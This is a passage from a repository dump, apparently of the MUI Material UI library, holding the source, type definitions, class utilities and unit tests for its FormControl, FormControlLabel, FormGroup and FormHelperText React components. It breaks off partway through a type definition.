    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface FormControlClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `margin=\"normal\"`. */\n  marginNormal: string;\n  /** Styles applied to the root element if `margin=\"dense\"`. */\n  marginDense: string;\n  /** Styles applied to the root element if `fullWidth={true}`. */\n  fullWidth: string;\n}\n\nexport type FormControlClassKey = keyof FormControlClasses;\n\nexport function getFormControlUtilityClasses(slot: string): string {\n  return generateUtilityClass('MuiFormControl', slot);\n}\n\nconst formControlClasses: FormControlClasses = generateUtilityClasses('MuiFormControl', [\n  'root',\n  'marginNone',\n  'marginNormal',\n  'marginDense',\n  'fullWidth',\n  'disabled',\n]);\n\nexport default formControlClasses;\n"
  },
  {
    "path": "packages/mui-material/src/FormControl/formControlState.js",
    "content": "export default function formControlState({ props, states, muiFormControl }) {\n  return states.reduce((acc, state) => {\n    acc[state] = props[state];\n\n    if (muiFormControl) {\n      if (typeof props[state] === 'undefined') {\n        acc[state] = muiFormControl[state];\n      }\n    }\n\n    return acc;\n  }, {});\n}\n"
  },
  {
    "path": "packages/mui-material/src/FormControl/index.d.ts",
    "content": "export { default } from './FormControl';\nexport * from './FormControl';\n\nexport { default as useFormControl } from './useFormControl';\n\nexport { FormControlState } from './FormControlContext';\n\nexport { default as formControlClasses } from './formControlClasses';\nexport * from './formControlClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormControl/index.js",
    "content": "export { default } from './FormControl';\nexport { default as useFormControl } from './useFormControl';\n\nexport { default as formControlClasses } from './formControlClasses';\nexport * from './formControlClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormControl/useFormControl.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport FormControlContext, { FormControlState } from './FormControlContext';\n\nexport default function useFormControl(): FormControlState | undefined {\n  return React.useContext(FormControlContext);\n}\n"
  },
  {
    "path": "packages/mui-material/src/FormControlLabel/FormControlLabel.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport Typography from '../Typography';\nimport { FormControlLabelClasses } from './formControlLabelClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface FormControlLabelSlots {\n  /**\n   * The component that renders the label.\n   * This is unused if `disableTypography` is true.\n   * @default Typography\n   */\n  typography: React.ElementType;\n}\n\nexport type FormControlLabelSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  FormControlLabelSlots,\n  {\n    typography: SlotProps<typeof Typography, {}, FormControlLabelProps>;\n  }\n>;\n\nexport interface FormControlLabelProps\n  extends\n    StandardProps<React.LabelHTMLAttributes<HTMLLabelElement>, 'children' | 'onChange'>,\n    FormControlLabelSlotsAndSlotProps {\n  /**\n   * If `true`, the component appears selected.\n   */\n  checked?: boolean | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<FormControlLabelClasses> | undefined;\n  /**\n   * A control element. For instance, it can be a `Radio`, a `Switch` or a `Checkbox`.\n   */\n  control: React.ReactElement<unknown, any>;\n  /**\n   * If `true`, the control is disabled.\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the label is rendered as it is passed without an additional typography node.\n   */\n  disableTypography?: boolean | undefined;\n  /**\n   * Pass a ref to the `input` element.\n   */\n  inputRef?: React.Ref<any> | undefined;\n  /**\n   * A text or an element to be used in an enclosing label element.\n   */\n  label: React.ReactNode;\n  /**\n   * The position of the label.\n   * @default 'end'\n   */\n  labelPlacement?: 'end' | 'start' | 'top' | 'bottom' | undefined;\n  name?: string | undefined;\n  /**\n   * Callback fired when the state is changed.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * You can pull out the new checked state by accessing `event.target.checked` (boolean).\n   */\n  onChange?: ((event: React.SyntheticEvent, checked: boolean) => void) | undefined;\n  /**\n   * If `true`, the label will indicate that the `input` is required.\n   */\n  required?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The value of the component.\n   */\n  value?: unknown;\n}\n\n/**\n * Drop-in replacement of the `Radio`, `Switch` and `Checkbox` component.\n * Use this component if you want to display an extra label.\n *\n * Demos:\n *\n * - [Checkbox](https://next.mui.com/material-ui/react-checkbox/)\n * - [Radio Group](https://next.mui.com/material-ui/react-radio-button/)\n * - [Switch](https://next.mui.com/material-ui/react-switch/)\n *\n * API:\n *\n * - [FormControlLabel API](https://next.mui.com/material-ui/api/form-control-label/)\n */\nexport default function FormControlLabel(props: FormControlLabelProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/FormControlLabel/FormControlLabel.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport refType from '@mui/utils/refType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useFormControl } from '../FormControl';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Typography from '../Typography';\nimport capitalize from '../utils/capitalize';\nimport formControlLabelClasses, {\n  getFormControlLabelUtilityClasses,\n} from './formControlLabelClasses';\nimport formControlState from '../FormControl/formControlState';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disabled, labelPlacement, error, required } = ownerState;\n  const slots = {\n    root: [\n      'root',\n      disabled && 'disabled',\n      `labelPlacement${capitalize(labelPlacement)}`,\n      error && 'error',\n      required && 'required',\n    ],\n    label: ['label', disabled && 'disabled'],\n    asterisk: ['asterisk', error && 'error'],\n  };\n\n  return composeClasses(slots, getFormControlLabelUtilityClasses, classes);\n};\n\nexport const FormControlLabelRoot = styled('label', {\n  name: 'MuiFormControlLabel',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${formControlLabelClasses.label}`]: styles.label },\n      styles.root,\n      styles[`labelPlacement${capitalize(ownerState.labelPlacement)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'inline-flex',\n    alignItems: 'center',\n    cursor: 'pointer',\n    // For correct alignment with the text.\n    verticalAlign: 'middle',\n    WebkitTapHighlightColor: 'transparent',\n    marginLeft: -11,\n    marginRight: 16, // used for row presentation of radio/checkbox\n    [`&.${formControlLabelClasses.disabled}`]: {\n      cursor: 'default',\n    },\n    [`& .${formControlLabelClasses.label}`]: {\n      [`&.${formControlLabelClasses.disabled}`]: {\n        color: (theme.vars || theme).palette.text.disabled,\n      },\n    },\n    variants: [\n      {\n        props: { labelPlacement: 'start' },\n        style: {\n          flexDirection: 'row-reverse',\n          marginRight: -11,\n        },\n      },\n      {\n        props: { labelPlacement: 'top' },\n        style: {\n          flexDirection: 'column-reverse',\n        },\n      },\n      {\n        props: { labelPlacement: 'bottom' },\n        style: {\n          flexDirection: 'column',\n        },\n      },\n      {\n        props: ({ labelPlacement }) =>\n          labelPlacement === 'start' || labelPlacement === 'top' || labelPlacement === 'bottom',\n        style: {\n          marginLeft: 16, // used for row presentation of radio/checkbox\n        },\n      },\n    ],\n  })),\n);\n\nconst AsteriskComponent = styled('span', {\n  name: 'MuiFormControlLabel',\n  slot: 'Asterisk',\n})(\n  memoTheme(({ theme }) => ({\n    [`&.${formControlLabelClasses.error}`]: {\n      color: (theme.vars || theme).palette.error.main,\n    },\n  })),\n);\n\n/**\n * Drop-in replacement of the `Radio`, `Switch` and `Checkbox` component.\n * Use this component if you want to display an extra label.\n */\nconst FormControlLabel = React.forwardRef(function FormControlLabel(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiFormControlLabel' });\n  const {\n    checked,\n    className,\n    control,\n    disabled: disabledProp,\n    disableTypography,\n    inputRef,\n    label: labelProp,\n    labelPlacement = 'end',\n    name,\n    onChange,\n    required: requiredProp,\n    slots = {},\n    slotProps = {},\n    value,\n    ...other\n  } = props;\n\n  const muiFormControl = useFormControl();\n\n  const disabled = disabledProp ?? control.props.disabled ?? muiFormControl?.disabled;\n  const required = requiredProp ?? control.props.required;\n\n  const controlProps = {\n    disabled,\n    required,\n  };\n\n  ['checked', 'name', 'onChange', 'value', 'inputRef'].forEach((key) => {\n    if (typeof control.props[key] === 'undefined' && typeof props[key] !== 'undefined') {\n      controlProps[key] = props[key];\n    }\n  });\n\n  const fcs = formControlState({\n    props,\n    muiFormControl,\n    states: ['error'],\n  });\n\n  const ownerState = {\n    ...props,\n    disabled,\n    labelPlacement,\n    required,\n    error: fcs.error,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [TypographySlot, typographySlotProps] = useSlot('typography', {\n    elementType: Typography,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  let label = labelProp;\n  if (label != null && label.type !== Typography && !disableTypography) {\n    label = (\n      <TypographySlot\n        component=\"span\"\n        {...typographySlotProps}\n        className={clsx(classes.label, typographySlotProps?.className)}\n      >\n        {label}\n      </TypographySlot>\n    );\n  }\n\n  return (\n    <FormControlLabelRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    >\n      {React.cloneElement(control, controlProps)}\n      {required ? (\n        <div>\n          {label}\n          <AsteriskComponent ownerState={ownerState} aria-hidden className={classes.asterisk}>\n            &thinsp;{'*'}\n          </AsteriskComponent>\n        </div>\n      ) : (\n        label\n      )}\n    </FormControlLabelRoot>\n  );\n});\n\nFormControlLabel.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, the component appears selected.\n   */\n  checked: PropTypes.bool,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * A control element. For instance, it can be a `Radio`, a `Switch` or a `Checkbox`.\n   */\n  control: PropTypes.element.isRequired,\n  /**\n   * If `true`, the control is disabled.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the label is rendered as it is passed without an additional typography node.\n   */\n  disableTypography: PropTypes.bool,\n  /**\n   * Pass a ref to the `input` element.\n   */\n  inputRef: refType,\n  /**\n   * A text or an element to be used in an enclosing label element.\n   */\n  label: PropTypes.node,\n  /**\n   * The position of the label.\n   * @default 'end'\n   */\n  labelPlacement: PropTypes.oneOf(['bottom', 'end', 'start', 'top']),\n  /**\n   * @ignore\n   */\n  name: PropTypes.string,\n  /**\n   * Callback fired when the state is changed.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * You can pull out the new checked state by accessing `event.target.checked` (boolean).\n   */\n  onChange: PropTypes.func,\n  /**\n   * If `true`, the label will indicate that the `input` is required.\n   */\n  required: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    typography: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    typography: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The value of the component.\n   */\n  value: PropTypes.any,\n};\n\nexport default FormControlLabel;\n"
  },
  {
    "path": "packages/mui-material/src/FormControlLabel/FormControlLabel.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport FormControlLabel, {\n  formControlLabelClasses as classes,\n} from '@mui/material/FormControlLabel';\nimport Checkbox from '@mui/material/Checkbox';\nimport FormControl from '@mui/material/FormControl';\nimport Typography from '@mui/material/Typography';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<FormControlLabel />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<FormControlLabel label=\"Pizza\" control={<Checkbox />} />, () => ({\n    classes,\n    inheritComponent: 'label',\n    render,\n    muiName: 'MuiFormControlLabel',\n    testVariantProps: { disabled: true },\n    refInstanceof: window.HTMLLabelElement,\n    slots: {\n      typography: { expectedClassName: classes.label },\n    },\n    skip: ['componentProp'],\n  }));\n\n  describe('prop: label', () => {\n    it('should render the label text inside an additional element', () => {\n      const { container } = render(<FormControlLabel label=\"Pizza\" control={<div />} />);\n      const root = container.firstChild;\n\n      expect(root).to.have.property('nodeName', 'LABEL');\n      expect(root).to.have.class(classes.root);\n      expect(screen.getByText(/Pizza/)).not.to.have.class(classes.root);\n      expect(screen.getByText(/Pizza/)).to.have.class(classes.label);\n    });\n\n    it('should render numeric labels', () => {\n      render(<FormControlLabel label={5} control={<div />} />);\n\n      expect(screen.getByText(/5/)).not.to.equal(null);\n    });\n\n    it('should render node labels', () => {\n      render(<FormControlLabel label={<p>Pizza</p>} control={<div />} />);\n\n      expect(screen.getByText(/Pizza/)).not.to.equal(null);\n      expect(screen.getByText(/Pizza/).tagName).to.equal('P');\n    });\n\n    it('should render fragment labels', () => {\n      render(\n        <FormControlLabel\n          label={\n            <React.Fragment>\n              <strong>Delicious</strong>\n              <p>Pizza</p>\n            </React.Fragment>\n          }\n          control={<div />}\n        />,\n      );\n\n      expect(screen.getByText(/Pizza/)).not.to.equal(null);\n      expect(screen.getByText(/Pizza/).tagName).to.equal('P');\n    });\n\n    it('should render with nullish labels', () => {\n      render(\n        <React.Fragment>\n          <FormControlLabel\n            data-testid=\"undefined-form-label\"\n            control={<div data-testid=\"undefined-control\" />}\n          />\n          <FormControlLabel\n            data-testid=\"null-form-label\"\n            label={null}\n            control={<div data-testid=\"null-control\" />}\n          />\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('undefined-form-label')).not.to.equal(null);\n      expect(screen.getByTestId('undefined-control')).not.to.equal(null);\n\n      expect(screen.getByTestId('null-form-label')).not.to.equal(null);\n      expect(screen.getByTestId('null-control')).not.to.equal(null);\n    });\n  });\n\n  describe('prop: disabled', () => {\n    it('should disable everything 1', () => {\n      const { container } = render(\n        <FormControlLabel label=\"Pizza\" disabled control={<div data-testid=\"control\" />} />,\n      );\n      const root = container.firstChild;\n      const control = screen.getByTestId('control');\n      const label = screen.getByText(/Pizza/);\n\n      expect(root).to.have.class(classes.disabled);\n      expect(control).to.have.attribute('disabled');\n      expect(label).to.have.class(classes.disabled);\n    });\n\n    it('should disable everything 2', () => {\n      const { container } = render(\n        <FormControlLabel\n          label=\"Pizza\"\n          disabled\n          control={<div data-testid=\"control\" disabled />}\n        />,\n      );\n      const root = container.firstChild;\n      const control = screen.getByTestId('control');\n      const label = screen.getByText(/Pizza/);\n\n      expect(root).to.have.class(classes.disabled);\n      expect(control).to.have.attribute('disabled');\n      expect(label).to.have.class(classes.disabled);\n    });\n  });\n\n  describe('prop: labelPlacement', () => {\n    it('should have the `start` class', () => {\n      const { container } = render(\n        <FormControlLabel label=\"Pizza\" labelPlacement=\"start\" control={<div />} />,\n      );\n\n      expect(container.firstChild).to.have.class(classes.labelPlacementStart);\n    });\n\n    it('should have the `top` class', () => {\n      const { container } = render(\n        <FormControlLabel label=\"Pizza\" labelPlacement=\"top\" control={<div />} />,\n      );\n\n      expect(container.firstChild).to.have.class(classes.labelPlacementTop);\n    });\n\n    it('should have the `bottom` class', () => {\n      const { container } = render(\n        <FormControlLabel label=\"Pizza\" labelPlacement=\"bottom\" control={<div />} />,\n      );\n\n      expect(container.firstChild).to.have.class(classes.labelPlacementBottom);\n    });\n  });\n\n  describe('prop: disableTypography', () => {\n    it('should not add a typography component', () => {\n      render(\n        <FormControlLabel\n          label={<div name=\"test\">Pizza</div>}\n          disableTypography\n          data-testid=\"FormControlLabel\"\n          control={<div />}\n        />,\n      );\n\n      expect(screen.getByTestId('FormControlLabel').children[1]).to.have.attribute('name', 'test');\n    });\n\n    it('should auto disable when passed a Typography component', () => {\n      render(\n        <FormControlLabel\n          label={<Typography name=\"test\">Pizza</Typography>}\n          data-testid=\"FormControlLabel\"\n          control={<div />}\n        />,\n      );\n\n      expect(screen.getByTestId('FormControlLabel').children[1]).to.have.attribute('name', 'test');\n    });\n  });\n\n  describe('prop: required', () => {\n    it('should visually show an asterisk but not include it in the a11y tree', () => {\n      const { container } = render(<FormControlLabel required label=\"Pizza\" control={<div />} />);\n\n      expect(container.querySelector('label')).to.have.text('Pizza\\u2009*');\n      expect(container.querySelectorAll(`.${classes.asterisk}`)).to.have.lengthOf(1);\n      expect(container.querySelector(`.${classes.asterisk}`)).toBeInaccessible();\n    });\n\n    it('should not show an asterisk by default', () => {\n      const { container } = render(<FormControlLabel label=\"Pizza\" control={<div />} />);\n\n      expect(container.querySelector('label')).to.have.text('Pizza');\n      expect(container.querySelectorAll(`.${classes.asterisk}`)).to.have.lengthOf(0);\n    });\n  });\n\n  describe('slotProps: typography', () => {\n    it('should spread its contents to the typography element', () => {\n      render(\n        <FormControlLabel\n          label=\"Pizza\"\n          slotProps={{\n            typography: {\n              'data-testid': 'labelTypography',\n              name: 'test',\n            },\n          }}\n          control={<div />}\n        />,\n      );\n\n      expect(screen.getByTestId('labelTypography')).to.have.attribute('name', 'test');\n    });\n  });\n\n  describe('with FormControl', () => {\n    describe('error', () => {\n      it('should have the error class', () => {\n        render(\n          <FormControl error>\n            <FormControlLabel data-testid=\"FormControlLabel\" control={<div />} label=\"Pizza\" />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('FormControlLabel')).to.have.class(classes.error);\n      });\n    });\n\n    describe('enabled', () => {\n      it('should not have the disabled class', () => {\n        render(\n          <FormControl>\n            <FormControlLabel data-testid=\"FormControlLabel\" control={<div />} label=\"Pizza\" />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('FormControlLabel')).not.to.have.class(classes.disabled);\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl>\n            <FormControlLabel\n              data-testid=\"FormControlLabel\"\n              control={<div />}\n              disabled\n              label=\"Pizza\"\n            />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('FormControlLabel')).to.have.class(classes.disabled);\n      });\n    });\n\n    describe('disabled', () => {\n      it('should have the disabled class', () => {\n        render(\n          <FormControl disabled>\n            <FormControlLabel data-testid=\"FormControlLabel\" control={<div />} label=\"Pizza\" />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('FormControlLabel')).to.have.class(classes.disabled);\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl disabled>\n            <FormControlLabel\n              data-testid=\"FormControlLabel\"\n              control={<div />}\n              disabled={false}\n              label=\"Pizza\"\n            />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('FormControlLabel')).not.to.have.class(classes.disabled);\n      });\n    });\n\n    describe('required', () => {\n      it('should not have the required class', () => {\n        render(\n          <FormControl required>\n            <FormControlLabel data-testid=\"FormControlLabel\" control={<div />} label=\"Pizza\" />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('FormControlLabel')).not.to.have.class(classes.required);\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl required>\n            <FormControlLabel\n              data-testid=\"FormControlLabel\"\n              control={<div />}\n              required\n              label=\"Pizza\"\n            />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('FormControlLabel')).to.have.class(classes.required);\n      });\n\n      it('should not have the required attribute', () => {\n        const { container } = render(\n          <FormControl required>\n            <FormControlLabel data-testid=\"FormControlLabel\" control={<input />} label=\"Pizza\" />\n          </FormControl>,\n        );\n        const input = container.querySelector('input');\n        expect(input).to.have.property('required', false);\n      });\n    });\n  });\n\n  it('should not inject extra props', () => {\n    function Control(props) {\n      return <div data-testid=\"control\" name=\"Dave\" {...props} />;\n    }\n    render(<FormControlLabel label=\"Pizza\" control={<Control />} />);\n\n    expect(screen.getByTestId('control')).to.have.attribute('name', 'Dave');\n  });\n\n  it('should forward some props', () => {\n    render(<FormControlLabel value=\"test\" label=\"Pizza\" control={<div data-testid=\"control\" />} />);\n\n    expect(screen.getByTestId('control')).to.have.attribute('value', 'test');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/FormControlLabel/formControlLabelClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface FormControlLabelClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `labelPlacement=\"start\"`. */\n  labelPlacementStart: string;\n  /** Styles applied to the root element if `labelPlacement=\"top\"`. */\n  labelPlacementTop: string;\n  /** Styles applied to the root element if `labelPlacement=\"bottom\"`. */\n  labelPlacementBottom: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the label's Typography component. */\n  label: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n  /** State class applied to the root element if `required={true}`. */\n  required: string;\n  /** Styles applied to the asterisk element. */\n  asterisk: string;\n}\n\nexport type FormControlLabelClassKey = keyof FormControlLabelClasses;\n\nexport function getFormControlLabelUtilityClasses(slot: string): string {\n  return generateUtilityClass('MuiFormControlLabel', slot);\n}\n\nconst formControlLabelClasses: FormControlLabelClasses = generateUtilityClasses(\n  'MuiFormControlLabel',\n  [\n    'root',\n    'labelPlacementStart',\n    'labelPlacementTop',\n    'labelPlacementBottom',\n    'disabled',\n    'label',\n    'error',\n    'required',\n    'asterisk',\n  ],\n);\n\nexport default formControlLabelClasses;\n"
  },
  {
    "path": "packages/mui-material/src/FormControlLabel/index.d.ts",
    "content": "export { default } from './FormControlLabel';\nexport * from './FormControlLabel';\n\nexport { default as formControlLabelClasses } from './formControlLabelClasses';\nexport * from './formControlLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormControlLabel/index.js",
    "content": "export { default } from './FormControlLabel';\n\nexport { default as formControlLabelClasses } from './formControlLabelClasses';\nexport * from './formControlLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormGroup/FormGroup.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { FormGroupClasses } from './formGroupClasses';\n\nexport interface FormGroupProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<FormGroupClasses> | undefined;\n  /**\n   * Display group of elements in a compact row.\n   * @default false\n   */\n  row?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n * `FormGroup` wraps controls such as `Checkbox` and `Switch`.\n * It provides compact row layout.\n * For the `Radio`, you should be using the `RadioGroup` component instead of this one.\n *\n * Demos:\n *\n * - [Checkbox](https://next.mui.com/material-ui/react-checkbox/)\n * - [Switch](https://next.mui.com/material-ui/react-switch/)\n *\n * API:\n *\n * - [FormGroup API](https://next.mui.com/material-ui/api/form-group/)\n */\nexport default function FormGroup(props: FormGroupProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/FormGroup/FormGroup.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getFormGroupUtilityClass } from './formGroupClasses';\nimport useFormControl from '../FormControl/useFormControl';\nimport formControlState from '../FormControl/formControlState';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, row, error } = ownerState;\n\n  const slots = {\n    root: ['root', row && 'row', error && 'error'],\n  };\n\n  return composeClasses(slots, getFormGroupUtilityClass, classes);\n};\n\nconst FormGroupRoot = styled('div', {\n  name: 'MuiFormGroup',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.row && styles.row];\n  },\n})({\n  display: 'flex',\n  flexDirection: 'column',\n  flexWrap: 'wrap',\n  variants: [\n    {\n      props: { row: true },\n      style: {\n        flexDirection: 'row',\n      },\n    },\n  ],\n});\n\n/**\n * `FormGroup` wraps controls such as `Checkbox` and `Switch`.\n * It provides compact row layout.\n * For the `Radio`, you should be using the `RadioGroup` component instead of this one.\n */\nconst FormGroup = React.forwardRef(function FormGroup(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiFormGroup',\n  });\n\n  const { className, row = false, ...other } = props;\n  const muiFormControl = useFormControl();\n  const fcs = formControlState({\n    props,\n    muiFormControl,\n    states: ['error'],\n  });\n\n  const ownerState = { ...props, row, error: fcs.error };\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <FormGroupRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nFormGroup.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Display group of elements in a compact row.\n   * @default false\n   */\n  row: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default FormGroup;\n"
  },
  {
    "path": "packages/mui-material/src/FormGroup/FormGroup.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport FormGroup, { formGroupClasses as classes } from '@mui/material/FormGroup';\nimport FormControl from '@mui/material/FormControl';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<FormGroup />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<FormGroup />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiFormGroup',\n    refInstanceof: window.HTMLDivElement,\n    testVariantProps: { row: true },\n    skip: ['componentProp'],\n  }));\n\n  it('should render a div with a div child', () => {\n    render(\n      <FormGroup>\n        <div data-testid=\"test-children\" />\n      </FormGroup>,\n    );\n\n    expect(screen.queryByTestId('test-children')).not.to.equal(null);\n  });\n\n  describe('with FormControl', () => {\n    describe('error', () => {\n      it(`should have the error class`, () => {\n        render(\n          <FormControl error>\n            <FormGroup data-testid=\"FormGroup\">\n              <div />\n            </FormGroup>\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('FormGroup')).to.have.class(classes.error);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/FormGroup/formGroupClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface FormGroupClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `row={true}`. */\n  row: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n}\n\nexport type FormGroupClassKey = keyof FormGroupClasses;\n\nexport function getFormGroupUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiFormGroup', slot);\n}\n\nconst formGroupClasses: FormGroupClasses = generateUtilityClasses('MuiFormGroup', [\n  'root',\n  'row',\n  'error',\n]);\n\nexport default formGroupClasses;\n"
  },
  {
    "path": "packages/mui-material/src/FormGroup/index.d.ts",
    "content": "export { default } from './FormGroup';\nexport * from './FormGroup';\nexport { default as formGroupClasses } from './formGroupClasses';\nexport * from './formGroupClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormGroup/index.js",
    "content": "export { default } from './FormGroup';\nexport { default as formGroupClasses } from './formGroupClasses';\nexport * from './formGroupClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormHelperText/FormHelperText.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { FormHelperTextClasses } from './formHelperTextClasses';\n\nexport interface FormHelperTextPropsVariantOverrides {}\n\nexport interface FormHelperTextOwnProps {\n  /**\n   * The content of the component.\n   *\n   * If `' '` is provided, the component reserves one line height for displaying a future message.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<FormHelperTextClasses> | undefined;\n  /**\n   * If `true`, the helper text should be displayed in a disabled state.\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, helper text should be displayed in an error state.\n   */\n  error?: boolean | undefined;\n  /**\n   * If `true`, the helper text should use filled classes key.\n   */\n  filled?: boolean | undefined;\n  /**\n   * If `true`, the helper text should use focused classes key.\n   */\n  focused?: boolean | undefined;\n  /**\n   * If `dense`, will adjust vertical spacing. This is normally obtained via context from\n   * FormControl.\n   */\n  margin?: 'dense' | undefined;\n  /**\n   * If `true`, 